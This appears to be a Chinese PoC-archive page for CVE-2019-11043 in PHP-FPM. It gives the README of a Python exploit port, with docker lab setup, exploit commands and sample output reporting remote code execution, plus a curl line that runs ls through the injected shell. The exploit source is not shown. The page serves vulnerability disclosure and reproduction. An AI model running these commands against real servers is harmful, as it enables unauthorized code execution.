关联漏洞
标题：
PHP 缓冲区错误漏洞
(CVE-2019-11043)
描述：PHP（PHP：Hypertext Preprocessor，PHP：超文本预处理器）是PHPGroup和开放源代码社区的共同维护的一种开源的通用计算机脚本语言。该语言主要用于Web开发，支持多种数据库及操作系统。 PHP中存在缓冲区错误漏洞。该漏洞源于网络系统或产品在内存上执行操作时，未正确验证数据边界，导致向关联的其他内存位置上执行了错误的读写操作。攻击者可利用该漏洞导致缓冲区溢出或堆溢出等。以下产品及版本受到影响：PHP 7.1.33之前版本的7.1.x版本，7.2.24之前版本的7.2.x版本，7
描述
(PoC) Python version of CVE-2019-11043 exploit by neex
介绍
# PoC CVE-2019-11043
A Python version of the CVE-2019-11043 exploit https://github.com/neex/phuip-fpizdam<br>
This PoC is still a draft, please use the exploit written by [@neex](https://github.com/neex/)<br>
Vulnerability Analysis: https://paper.seebug.org/1064/
## PoC Setup
Just run docker compose to bring up nginx and php-fpm:
```bash
# docker-compose up -d
Creating network "cve-2019-11043-git_app_net" with driver "bridge"
Creating php ... done
Creating nginx ... done
```
if you wish to read php-fpm logs, you could run:
```bash
docker logs --tail 10 --follow php
```
## Exploit
```bash
# python3 exploit.py --url http://localhost/index.php
[*] QSL candidate: 1752, 1757, 1762
[*] Target seems vulnerable: PHPSESSID=05b156ea034b903de6624f09c513541c; path=/
[*] RCE successfully exploited!
You should be able to run commands using:
curl http://localhost/index.php?a=bin/ls+/
```
If you want to check the vulnerability only, skipping the exploit:
```bash
python3 exploit.py --url http://localhost/index.php --skip-rce
#...
python3 exploit.py --url http://localhost/index.php --reset
```
You can try to kill php-fpm process and reset all injected PHP settings with `--reset`:
```bash
python3 exploit.py --url http://localhost/index.php --reset
```
## Video PoC
https://twitter.com/Menin_TheMiddle/status/1188776386569355265
文件快照
[4.0K] /data/pocs/b5be488c5f443baf0604a909232fe520f35e322d
├── [4.0K] conf
│ └── [ 405] default.conf
├── [ 655] docker-compose.yml
├── [4.2K] exploit.py
├── [4.0K] php
│ └── [ 42] index.php
└── [1.3K] README.md
2 directories, 5 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问，请发送邮箱到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
3. 神龙已为您对POC代码进行快照，为了长期维护，请考虑为本地POC付费，感谢您的支持。